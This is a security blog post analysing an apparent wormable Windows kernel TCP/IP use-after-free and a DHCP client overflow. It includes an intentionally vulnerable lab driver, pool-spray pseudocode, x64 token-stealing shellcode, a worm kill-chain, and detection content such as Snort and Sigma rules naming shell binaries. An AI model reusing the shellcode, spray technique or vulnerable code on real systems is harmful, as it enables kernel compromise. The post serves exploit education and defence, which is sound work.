CVE-2026-45657 Teardown: Hunting the Wormable Windows Kernel TCP/IP Use-After-Free
June 9, 2026 was a record Patch Tuesday — 208 CVEs — but one dominated every group chat and threat intel feed before the day was over. CVE-2026-45657, a CVSS 9.8 use-after-free in the Windows Kernel’s TCP/IP processing path, unauthenticated, no user interaction, network-reachable, and Microsoft’s own advisory slapped the “wormable” label on it. That word triggers institutional memory: EternalBlue, WannaCry, NotPetya. Every exploit developer, every nation-state shop, and every ransomware affiliate is patch-diffing this right now. The question isn’t whether someone weaponizes it — it’s how fast, and whether your detection stack will catch it when they do.
This post is the full teardown: what the vulnerability is, how kernel TCP/IP UAFs work mechanically, a reproducible patch-diff methodology you can run yourself against the June 9 binaries, a lab-based exploitation strategy that teaches the heap-spray primitive without handing anyone a live weapon, and a layered detection-engineering section that maps every blind spot. I’m going to be direct about what’s confirmed versus what’s analytical inference — because as of this writing, no public patch-diff analysis or PoC has been published, and anyone claiming otherwise is lying to you.
What We Know: The Confirmed Facts
Let’s start with hard ground before we step onto analytical ice.
| Attribute | Confirmed Value |
|---|---|
| CVE ID | CVE-2026-45657 |
| CWE | CWE-416 (Use After Free) |
| CVSS 3.1 | 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Trigger | Specially crafted network traffic exploits a flaw in how the Windows Kernel processes TCP/IP data |
| Impact | Remote code execution with SYSTEM privileges, no authentication, no user interaction |
| Wormable | Yes — Microsoft confirmed self-propagation potential under certain network configurations |
| Exploitation Assessment | “Exploitation Less Likely” (Microsoft’s assessment — take that with a fistful of salt) |
| Affected SKUs | Windows 11 23H2, 24H2, 25H2, 26H1 (x64/ARM64); Windows Server 2022, Server 2025 including Server Core |
| Patch KBs | KB5095051 (26H1, build 28000.2269), KB5094126 (25H2/24H2, build 26100.8655), KB5093998 (23H2, build 22631.7219), KB5094125 (Server 2025), KB5094128 (Server 2022) |
The MSRC advisory describes the root cause as a use-after-free in “how the Windows Kernel processes TCP/IP data.” It does not name a specific binary — not tcpip.sys, not afd.sys, not ndis.sys. That matters, and I’ll come back to it. Microsoft’s “Exploitation Less Likely” assessment reflects their view at patch time; it does not mean this bug is hard to exploit. It means nobody had demonstrated exploitation to them by June 9. The entire offensive-security world is now racing to change that status.
There’s also a dangerous companion: CVE-2026-44815, a stack-based buffer overflow in the Windows DHCP Client. Same profile — unauthenticated, no user interaction, network-triggered. The DHCP client runs on every Windows box that obtains an address dynamically, which is essentially every laptop, every desktop, and a significant portion of servers. These two CVEs together represent a catastrophic attack surface for any organization with flat network segments.
Windows Kernel TCP/IP Internals: How the Stack Manages Network Objects
To understand a use-after-free in the kernel networking stack, you need to understand the object lifecycle model that stack relies on. This section draws on well-documented internals — it’s how Windows networking has worked for years, and it’s the foundation any researcher uses when approaching a bug like CVE-2026-45657.
The Driver Hierarchy
Windows kernel networking is a layered architecture. From top to bottom:
afd.sys(Ancillary Function Driver for Winsock) — the boundary between user-mode socket calls and the kernel. It translatesWSASocket,bind,connect,send,recvinto kernel operations.tcpip.sys— the core TCP/IP protocol implementation. Manages TCP state machines, IP routing, fragmentation/reassembly, extension header processing (IPv6). This is where most of the kernel TCP/IP attack surface lives.ndis.sys— Network Driver Interface Specification. Manages the interface between protocol drivers and NIC miniport drivers. OwnsNET_BUFFER_LISTandNET_BUFFERobjects that represent packets flowing through the stack.
All three drivers allocate objects from the kernel’s Non-Paged Pool (NonPagedPoolNx on modern Windows, which is non-executable). Endpoint objects, TCP control blocks, IP reassembly structures, and NDIS buffer lists all live here. They are all reference-counted using the standard kernel model: ObReferenceObject / ObDereferenceObject for object-manager-tracked objects, or internal reference counts managed with InterlockedIncrement / InterlockedDecrement for driver-private structures.
The Endpoint Object Lifecycle
When a TCP connection is established — whether inbound to a listening socket or outbound from connect() — tcpip.sys allocates an endpoint object. In Microsoft’s symbols, these appear as structures like TcpEndpoint, Tcb (Transmission Control Block), or partition objects under TcbPartitionObject. The exact struct names and layouts vary by Windows version and are partially documented through PDB symbols.
The lifecycle follows a predictable pattern:
- Allocation:
ExAllocatePool2(POOL_FLAG_NON_PAGED, size, tag)creates the endpoint structure. The pool tag varies (TcpE,TcpC, etc.). - Initialization: The structure is populated — state machine set to
SYN_SENTorLISTEN, function pointers for state transition handlers installed, reference count set to 1. - Active use: Every operation that touches the endpoint (send, receive, timer callback, state transition) should increment the reference count before access and decrement after.
- Teardown: When the last reference is released — via connection close, timeout, or RST —
ExFreePoolWithTagreturns the memory to the pool. The pool block is now available for reuse by any subsequent allocation of the same size class.
The UAF bug class lives in step 3-to-4 transitions. If one code path frees the endpoint (step 4) while another code path still holds a pointer to it and later dereferences that pointer (step 3), you have a use-after-free. The root cause is always the same: a missing reference count increment, a race between two threads, or a logic error that allows teardown to proceed while an asynchronous operation (IRP completion, timer callback, workitem) still references the object.
Why Reference Counting Races Are So Common Here
The kernel networking stack is aggressively concurrent. Incoming packets arrive via DPC (Deferred Procedure Call), which means they execute at DISPATCH_LEVEL — a high IRQL where page faults are forbidden and only non-paged pool is accessible. Timer callbacks for retransmission and keepalive fire on their own DPC schedules. User-mode close operations arrive via IRP through afd.sys. These three execution contexts race against each other constantly, and the synchronization between them is complex.
Every documented kernel TCP/IP UAF — CVE-2022-34718 (the “EvilESP” IPv6 UAF), CVE-2021-24086 (IPv6 fragmentation), CVE-2020-16898 (“Bad Neighbor” ICMPv6), CVE-2025-60719 (afd.sys socket unbind race) — stems from this same fundamental tension. The specific manifestation varies: a timer fires against a freed TCB, an IRP completion references a freed endpoint, a fragment reassembly buffer is freed while another fragment arrival still processes against it. But the class is identical.

Use-After-Free Exploitation Primitives in the Kernel Pool
A use-after-free in isolation is just a crash. To turn it into code execution, you need to control what occupies the freed memory when the dangling pointer dereferences it. This is the heap-spray / object-reuse strategy, and it’s the heart of kernel UAF exploitation.
The Pool Allocation Model
The Windows kernel pool allocator (ExAllocatePool2 and friends) manages memory in size-aligned buckets. When an object is freed, its pool block goes back to a per-processor lookaside list (for small allocations) or the general free list. The next allocation of the same size class from the same pool type will likely receive that exact block.
This is the primitive: if you can free the vulnerable object and then immediately allocate a different object of the same size into the same pool (NonPagedPoolNx), you control the contents of the memory that the dangling pointer will later dereference.
What You Overwrite: vtables and Function Pointers
Kernel objects frequently contain function pointers — either explicit callback fields or vtable pointers (for C++ objects). When the dangling pointer dereferences the freed object and calls through one of these function pointers, execution transfers to whatever address the attacker placed there.
On modern Windows with NonPagedPoolNx, the pool itself is non-executable. You can’t place shellcode directly in the spray object and jump to it. Instead, you need one of:
- ROP (Return-Oriented Programming): Chain existing executable gadgets from
ntoskrnl.exeor other loaded drivers. The spray object contains a fake vtable pointing to a stack pivot gadget, which redirects RSP to attacker-controlled data containing the ROP chain. - Data-only attacks: Instead of redirecting execution, corrupt a data structure (like a
TOKENpointer) to achieve privilege escalation without ever executing attacker-supplied code.
Spray Candidate Objects
For kernel pool spraying at a specific size, researchers have documented several reliable candidates that can be allocated from user-mode into NonPagedPoolNx with controlled contents:
| Spray Object | API | Pool Type | Size Control | Content Control |
|---|---|---|---|---|
| Named Pipe Attributes | NtFsControlFile with FSCTL_PIPE_SET_CLIENT_PROCESS | NonPagedPoolNx | Partial (attribute data) | Full over data portion |
| I/O Completion Packets | NtSetIoCompletion | NonPagedPoolNx | Fixed | Partial |
| ALPC Message Buffers | NtAlpcSendWaitReceivePort | NonPagedPoolNx | Variable | Full |
| Registry Key Value (Partial) | NtSetValueKey | PagedPool (usually) | Variable | Full — but wrong pool for most targets |
The choice of spray object depends on the exact size of the freed vulnerable object. You need to match the pool bucket. Getting the size wrong by even 16 bytes can land in a different bucket and fail silently.

Patch-Diffing Methodology: How to Reconstruct the Vulnerable Code Path
This is the section where I have to be brutally honest: no public patch-diff analysis of CVE-2026-45657 has been published as of this writing. I am not going to fabricate function names, offsets, or disassembly and present them as confirmed findings. What I can give you is the exact methodology to do this yourself, based on the well-documented approach used for every prior tcpip.sys CVE, most notably IBM X-Force’s EvilESP analysis of CVE-2022-34718.
Step 1: Obtain Pre-Patch and Post-Patch Binaries
Go to Winbindex. This site indexes every version of every Windows system binary ever shipped. You need two copies of the target binary:
- Pre-patch: The version shipped with the update immediately prior to June 9, 2026 for your chosen SKU
- Post-patch: The version shipped with the June 9 KB (e.g., KB5095051 for 26H1)
Get sequential versions. Using binaries from updates months apart introduces noise from unrelated changes. Focus on tcpip.sys first (it’s the most likely candidate given the advisory language), but also pull afd.sys and ndis.sys — the advisory doesn’t specify, and the bug could live in any of them.
Step 2: Load Into Ghidra with PDB Symbols
Open both binaries in Ghidra 11.x. Download the corresponding PDB symbol files from the Microsoft Symbol Server (srv*c:\symbols*https://msdl.microsoft.com/download/symbols). Apply the PDB to each binary and run full auto-analysis. The PDB gives you function names, struct definitions, and local variable names — without it, you’re looking at raw hex.
Step 3: Export to BinExport, Diff with BinDiff
Install the BinExport extension for Ghidra. Export both analyzed binaries to BinExport format (.BinExport). Open BinDiff 9, create a new diff workspace, and load both exports. BinDiff will produce a function-level similarity matrix.
Step 4: Identify the Changed Functions
Sort by similarity score. You’re looking for functions that are not 1.0 (identical) but not 0.0 (completely different — likely unrelated refactors). The sweet spot is 0.7–0.95: functions that were modified but not rewritten. These are your patch candidates.
What to look for in the changed functions:
- New lock acquisitions:
KeAcquireSpinLockAtDpcLevel,ExAcquirePushLockExclusiveEx— added to serialize access to the vulnerable object - New reference count operations:
InterlockedIncrementon a refcount field before a pointer dereference - New null checks:
test rax, rax/jzbefore a call through a function pointer - New bounds checks: comparison instructions added before buffer access
- Removed code paths: sometimes the fix removes the vulnerable code path entirely rather than guarding it
Step 5: Reconstruct the Vulnerable Path
Once you identify the patched function(s), read the pre-patch version to understand the vulnerable flow. Map it to the connection lifecycle: which phase of TCP processing (SYN handling? reassembly? close?) reaches this code? What object is being dereferenced? What reference count or lock was missing?
This is where the real understanding lives. The diff tells you what changed; your internals knowledge tells you why it matters.
The UAF Primitive: A Pattern Analysis from Prior Art
Since we don’t have a confirmed diff, let me walk you through the class of vulnerability, using patterns from every documented kernel TCP/IP UAF. This is the analytical framework you’ll apply to your own diff findings.
The Race Window
In every prior case, the pattern looks like this:
Thread A (Packet Processing DPC): Thread B (Connection Teardown):
───────────────────────────────── ────────────────────────────────
1. Receive packet for connection X
2. Look up endpoint object → ptr
3. 1. Close() called on connection X
4. 2. Decrement refcount → reaches 0
5. 3. ExFreePoolWithTag(endpoint)
6. Dereference ptr→handler(ptr, pkt)
↑ UAF: ptr points to freed memory
The fix is always one of: (a) hold a reference across step 2→6 so the refcount can’t reach zero while Thread A is active, (b) acquire a lock that serializes the lookup and free operations, or (c) set the pointer to NULL on free and add a null check before dereference.
Annotated Pseudocode: Vulnerable vs. Patched
Here’s what this looks like in pseudo-C, composited from the patterns in CVE-2022-34718 and CVE-2025-60719. This is not CVE-2026-45657 code — it’s the documented pattern:
// VULNERABLE PATTERN (pre-patch, composite from prior CVEs)
VOID ProcessIncomingPacket(PNET_BUFFER_LIST nbl) {
PTCP_ENDPOINT endpoint = LookupEndpoint(nbl->FlowContext);
// BUG: No reference count increment after lookup.
// Another thread can free the endpoint between lookup and use.
if (endpoint->State == TCP_ESTABLISHED) {
// This dereferences a function pointer in the endpoint object.
// If endpoint was freed and reallocated with attacker data,
// this calls into attacker-controlled address.
endpoint->ReceiveHandler(endpoint, nbl); // ← UAF SITE
}
}
VOID CloseConnection(PTCP_ENDPOINT endpoint) {
LONG refcount = InterlockedDecrement(&endpoint->RefCount);
if (refcount == 0) {
ExFreePoolWithTag(endpoint, 'TcpE');
// endpoint memory now available for reallocation
}
}
// PATCHED PATTERN (post-patch, composite from prior CVEs)
VOID ProcessIncomingPacket(PNET_BUFFER_LIST nbl) {
PTCP_ENDPOINT endpoint = LookupEndpointAndReference(nbl->FlowContext);
// FIX: Lookup now atomically increments refcount.
// Endpoint cannot be freed while we hold a reference.
if (endpoint == NULL) {
return; // FIX: Null check — endpoint was already torn down
}
KeAcquireSpinLockAtDpcLevel(&endpoint->StateLock); // FIX: Lock
if (endpoint->State == TCP_ESTABLISHED) {
endpoint->ReceiveHandler(endpoint, nbl);
}
KeReleaseSpinLockFromDpcLevel(&endpoint->StateLock);
DereferenceEndpoint(endpoint); // FIX: Release reference when done
}
When you run your own BinDiff against the June 9 tcpip.sys, you’ll be looking for exactly this pattern: a function that gained a reference increment, a lock, or a null check around a pointer dereference.
Lab-Based Exploitation: Teaching the Heap-Spray Primitive
Rather than attempting to build an exploit against live tcpip.sys code we haven’t confirmed, here’s how to build a controlled lab environment that teaches the exact same exploitation primitive. This is the approach used in kernel exploit development courses and OSED/OSEE-style training.
The Lab Driver
Build a minimal Windows kernel driver (lab_tcpuaf.sys) that creates a deterministic UAF:
// lab_tcpuaf.sys — intentionally vulnerable kernel driver for UAF training
#include <ntddk.h>
#define IOCTL_ALLOC CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_FREE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_USE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define ENDPOINT_SIZE 0x200
#define POOL_TAG 'bALX'
typedef struct _LAB_ENDPOINT {
PVOID (*Handler)(struct _LAB_ENDPOINT* self); // offset 0x00
ULONG State; // offset 0x08
CHAR Padding[ENDPOINT_SIZE - sizeof(PVOID) - sizeof(ULONG)];
} LAB_ENDPOINT, *PLAB_ENDPOINT;
static PLAB_ENDPOINT g_Endpoint = NULL; // global — intentionally NOT nulled on free
PVOID DefaultHandler(PLAB_ENDPOINT self) {
DbgPrint("[lab_tcpuaf] Handler called on endpoint %p, state=%d\n", self, self->State);
return NULL;
}
NTSTATUS DispatchIoctl(PDEVICE_OBJECT DevObj, PIRP Irp) {
PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
switch (stack->Parameters.DeviceIoControl.IoControlCode) {
case IOCTL_ALLOC:
g_Endpoint = (PLAB_ENDPOINT)ExAllocatePool2(
POOL_FLAG_NON_PAGED, ENDPOINT_SIZE, POOL_TAG);
if (g_Endpoint) {
g_Endpoint->Handler = DefaultHandler;
g_Endpoint->State = 1;
DbgPrint("[lab_tcpuaf] Allocated endpoint at %p\n", g_Endpoint);
}
break;
case IOCTL_FREE:
if (g_Endpoint) {
ExFreePoolWithTag(g_Endpoint, POOL_TAG);
// BUG: g_Endpoint NOT set to NULL — dangling pointer remains
DbgPrint("[lab_tcpuaf] Freed endpoint (pointer NOT nulled)\n");
}
break;
case IOCTL_USE:
if (g_Endpoint) {
// UAF: if IOCTL_FREE was called, g_Endpoint points to freed memory
// If that memory was reallocated with attacker data, Handler is controlled
DbgPrint("[lab_tcpuaf] Calling handler at %p\n", g_Endpoint->Handler);
g_Endpoint->Handler(g_Endpoint); // ← UAF dereference
}
break;
}
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
The Exploitation Sequence
With the lab driver loaded in a kernel-debug-enabled VM (KDNET or VirtualKD-Redux), the exploitation path is:
Phase 1 — Trigger Allocation and Free
From a user-mode client, send IOCTL_ALLOC then IOCTL_FREE. Verify in WinDbg:
kd> !pool <g_Endpoint address>
// Should show: "Free" block, size 0x200, tag 'bALX'
Phase 2 — Spray the Pool
Allocate many objects of exactly 0x200 bytes into NonPagedPoolNx. Named pipe attributes via NtFsControlFile are the classic choice. Each spray object starts with the address of your desired code target where Handler would sit at offset 0x00.
// User-mode spray pseudocode
for (int i = 0; i < SPRAY_COUNT; i++) {
CHAR buf[0x200];
memset(buf, 0, sizeof(buf));
// Place target address at offset 0 (where Handler field lives)
*(PVOID*)buf = (PVOID)target_gadget_address;
// Allocate into NonPagedPoolNx via pipe attribute or similar
CreatePipeWithAttribute(buf, sizeof(buf));
}
Phase 3 — Trigger the Dereference
Send IOCTL_USE. The driver calls g_Endpoint->Handler(g_Endpoint), but g_Endpoint now points to your spray data. Execution transfers to target_gadget_address.
Phase 4 — Payload
With SMEP disabled (lab setting), you can point directly to user-mode shellcode — the classic token-stealing payload:
; Token-stealing shellcode (x64, lab use only)
mov rax, gs:[0x188] ; CurrentThread (KTHREAD)
mov rax, [rax + 0x220] ; EPROCESS (offset varies by build)
mov rbx, rax ; save current process
; Walk ActiveProcessLinks to find System (PID 4)
.loop:
mov rax, [rax + 0x448] ; ActiveProcessLinks.Flink (offset varies)
sub rax, 0x448 ; back to EPROCESS base
cmp dword [rax + 0x440], 4 ; UniqueProcessId == 4?
jne .loop
; Copy System token to current process
mov rcx, [rax + 0x4B8] ; Token (offset varies)
mov [rbx + 0x4B8], rcx ; Overwrite current process token
ret
With SMEP enabled (realistic), you need a ROP chain: stack pivot to controlled data, then chain gadgets from ntoskrnl.exe to call PsReferencePrimaryToken → swap token → return cleanly. Use ROPgadget or ropper against your lab VM’s ntoskrnl.exe to find gadgets.
Phase 5 — Verify: whoami in the exploit process now returns NT AUTHORITY\SYSTEM.
From Lab to Network: The Wormable Translation
In a real CVE-2026-45657 exploit, the attacker doesn’t have IOCTL access. Instead:
- The crafted network packet triggers the free (by causing the kernel to tear down a connection/reassembly object)
- A flood of additional packets performs the pool spray (each packet causes a kernel allocation of the right size with attacker-controlled content)
- A follow-up packet triggers the dangling pointer dereference (by referencing the now-freed connection context)
This is why it’s wormable: all three phases happen over the network, with no authentication or user interaction. A compromised machine can scan a subnet, send the exploit packets, achieve SYSTEM, deploy itself, and repeat. This is the EternalBlue pattern — and Microsoft flagging it as wormable suggests the attack surface is broad enough for exactly this scenario.
The DHCP Client Companion: CVE-2026-44815
CVE-2026-44815 deserves its own mention because it amplifies the wormable threat model catastrophically. It’s a stack-based buffer overflow in the Windows DHCP Client — not a UAF, a straightforward buffer overflow, which is often easier to exploit reliably.
The DHCP client is active on virtually every Windows endpoint. The attack vector: a rogue DHCP server (or a man-in-the-middle on the local segment) sends a DHCP response with an oversized option field. The client parses it, overflows a stack buffer in dhcpcore.dll or dhcpcsvc6.dll, and the attacker controls RIP.
In a worm scenario, the kill chain becomes: exploit CVE-2026-45657 to gain SYSTEM on one host → run a rogue DHCP server from that host → wait for other machines on the segment to renew their leases → exploit CVE-2026-44815 on each one. No scanning required. The victims come to you.
This pair of vulnerabilities is the worst network-side exposure Windows has had since the SMBv1 era.

Detection Engineering
Detection for kernel-level network exploits is hard. The exploit executes entirely in ring 0 — there’s no process creation, no file write, no registry modification during the exploitation phase. Your detection has to operate at either the network layer (catching the exploit packets) or the post-exploitation layer (catching what the attacker does with SYSTEM access). Both have gaps.
Network-Layer Signatures
Cisco Talos released Snort rules for several June 2026 CVEs. Check the latest SRU for SIDs specifically targeting CVE-2026-45657 — specific SIDs weren’t published at my writing time, but Talos typically ships them within days of patch.
For your own rulesets, the pattern depends on what the diff reveals about the trigger packet. Based on prior tcpip.sys CVEs, anomalous IPv6 extension headers have been the trigger in three of the last five kernel TCP/IP RCEs. A heuristic rule:
alert ip6 any any -> $HOME_NET any (
msg:"SUSPICIOUS Oversized IPv6 Extension Header - Potential Kernel UAF Trigger";
ip6_exthdr: type 0,1,43,44,60;
dsize:>1400;
threshold: type both, track by_src, count 10, seconds 1;
classtype:attempted-admin;
sid:9999001; rev:1;
)
For the DHCP companion CVE-2026-44815:
alert udp any 67 -> $HOME_NET 68 (
msg:"SUSPICIOUS Oversized DHCP Option - Potential CVE-2026-44815 Stack Overflow";
content:"|35|";
dsize:>576;
classtype:attempted-admin;
sid:9999002; rev:1;
)
These are heuristic, not signature-precise. They’ll generate false positives in environments with jumbo DHCP options or legitimate large IPv6 packets. Tune thresholds to your baseline.
Kernel ETW Telemetry
ETW is your best bet for host-side visibility into kernel network operations. The relevant providers:
| ETW Provider | GUID | What It Sees |
|---|---|---|
Microsoft-Windows-TCPIP | {2F07E2EE-15DB-40F1-90EF-9D7BA282188A} | TCP state transitions; watch for rapid unexpected state changes or connection events to freed endpoints |
Microsoft-Windows-Kernel-Network | {7DD42A49-5329-4832-8DFD-43D979153A88} | Connection metadata; Event ID 10/11 for connect/disconnect anomalies |
Microsoft-Windows-NDIS | {CDEAD503-17F5-4A3E-DF8CC2902EB9} | Buffer lifecycle; abnormal free→alloc sequences |
Microsoft-Windows-Kernel-Process | {22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716} | Post-exploitation process creation under SYSTEM |
Subscribe to these via Microsoft Defender for Endpoint, Elastic Defend, or a custom ETW consumer. Most of these events never hit Event Viewer — they’re only available via real-time ETW consumption.
Sysmon Detection
Sysmon catches post-exploitation behavior. Key events:
| Event ID | Detection Logic |
|---|---|
| 3 (Network Connection) | Inbound connections to port 67/68 from unexpected sources, followed by SYSTEM process spawn |
| 1 (Process Creation) | cmd.exe or powershell.exe with SYSTEM integrity spawned by services.exe, svchost.exe, or lsass.exe without a corresponding service installation event |
| 7 (Image Load) | Unsigned kernel module loads post-exploitation |
| 13 (Registry Set) | Persistence artifacts: Run keys, service registration immediately following anomalous SYSTEM shell |
Sigma Rule
title: Potential Kernel RCE Post-Exploitation - SYSTEM Shell from Network Service
id: a7c3f1b2-9d4e-4f8a-b6c1-2e5d8f3a7b9c
status: experimental
description: >
Detects SYSTEM-privileged interactive shell spawned under a network service host,
potentially indicating post-exploitation of CVE-2026-45657 or similar kernel RCE.
logsource:
product: windows
category: process_creation
detection:
selection:
IntegrityLevel: 'System'
ParentImage|endswith:
- '\svchost.exe'
- '\services.exe'
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\wscript.exe'
- '\mshta.exe'
filter:
CommandLine|contains:
- 'Windows\\Temp\\MpSigStub' # Defender signature updates
condition: selection and not filter
falsepositives:
- Legitimate scheduled tasks running under SYSTEM
level: high
tags:
- attack.execution
- attack.t1059.001
- attack.privilege_escalation
- attack.t1068
Detection Gap Analysis
This is the part nobody wants to talk about, but it’s the most important part.
| Layer | What It Sees | What It Misses |
|---|---|---|
| Network IDS | Malformed packets matching known signatures | Zero-day trigger (no signature exists pre-disclosure); encrypted tunnels; LAN-side DHCP traffic that never crosses a monitored segment |
| EDR / Sysmon | Post-exploitation process trees, file drops, registry changes | Everything happening in kernel mode before the attacker spawns a user-mode process. A kernel-only implant that never creates a process is invisible. |
| ETW (TCPIP/NDIS) | State machine anomalies, buffer lifecycle events | ETW providers can be disabled or tampered with by a SYSTEM-level attacker post-exploitation. ETW is not tamper-proof. |
| HVCI / CFG | Blocks some code-execution primitives (invalid call targets, unsigned code in kernel) | Data-only attacks (token swap without code execution) bypass CFG entirely. HVCI doesn’t prevent UAF — it prevents some consequences of UAF. |
| Windows Event Logs | Process creation (EID 4688) with command-line logging | Same post-exploitation blindness as EDR; requires reboot into patched kernel; logs can be cleared by SYSTEM |
| NetFlow / IPFIX | Traffic volume and flow metadata | Cannot inspect payload content; DHCP broadcast traffic is high-volume baseline noise |
The honest assessment: there is no reliable way to detect in-progress exploitation of a kernel network-stack UAF in real time. Your detection stack will only fire on post-exploitation artifacts. This is why patching is not optional — compensating controls buy time, but they don’t close the gap.
MITRE ATT&CK Mapping
| Technique | Relevance |
|---|---|
| T1190 — Exploit Public-Facing Application | Primary vector: network-reachable kernel service |
| T1203 — Exploitation for Client Execution | DHCP client attack surface (CVE-2026-44815) |
| T1068 — Exploitation for Privilege Escalation | UAF → SYSTEM code execution |
| T1210 — Exploitation of Remote Services | Wormable lateral movement |
| T1059.001 — PowerShell | Post-exploitation payload |
| T1562.001 — Disable or Modify Tools | SYSTEM access enables EDR driver unload |
Hardening and Mitigation
Patch immediately. That’s the only complete fix. Everything else is a compensating control:
- Disable IPv6 on hosts that don’t require it. If the vulnerable code path is in IPv6 processing (as it was for CVE-2022-34718 and CVE-2021-24086), this eliminates the attack surface entirely. Do this via
netsh interface ipv6 set state disabledor Group Policy. - Block IPv6 at the perimeter. If you can’t disable IPv6 on hosts, block it at network borders. This prevents external exploitation but not lateral movement within a flat segment.
- Enable HVCI / Memory Integrity. Won’t prevent the UAF but raises the exploitation difficulty by enforcing code integrity in the kernel address space.
- Enable CFG / XFG. Validates indirect call targets. A vtable hijack landing on an unregistered target will be caught — though data-only attacks bypass this.
- Network segmentation. The wormable scenario requires network reachability. Microsegmentation limits the blast radius.
- DHCP snooping and 802.1X. For CVE-2026-44815: DHCP snooping on switches prevents rogue DHCP servers. 802.1X prevents unauthorized devices from joining the network at all.
- Verify the patch. Check
systeminfoorwinveragainst the fixed build numbers. Reboot is mandatory — the fix lives in a kernel binary that’s locked while the OS is running.
Key Takeaways
- CVE-2026-45657 is the most dangerous Windows kernel vulnerability since EternalBlue in terms of threat model: unauthenticated, network-reachable, no user interaction, wormable. The “Exploitation Less Likely” tag is a snapshot in time, not a permanent assessment.
- The UAF primitive class is well-understood. Every kernel TCP/IP UAF in the last five years follows the same pattern: reference-counting race between packet processing and connection teardown. The patch-diff will reveal which specific code path was affected.
- Patch-diff it yourself. Winbindex → Ghidra + PDB → BinExport → BinDiff. Look for new locks, new reference increments, new null checks. The methodology is reproducible and the tools are free.
- CVE-2026-44815 (DHCP client overflow) makes this worse. Together, these two vulnerabilities create a two-stage wormable attack surface that reaches every DHCP-enabled Windows host on a compromised segment.
- Detection for kernel exploits has fundamental gaps. Network IDS catches known signatures but not zero-days. EDR catches post-exploitation but not kernel-mode execution. Patch first, detect second.
- Patch. Reboot. Verify. Everything else is buying time.
Related Tutorials
- Access Tokens and Privileges: The Kernel’s Security Context
- System Calls and SSDT: How User Mode Reaches the Kernel
- HAL and Ntoskrnl: The Kernel Core Components
- User Mode vs Kernel Mode: Privilege Rings and the Boundary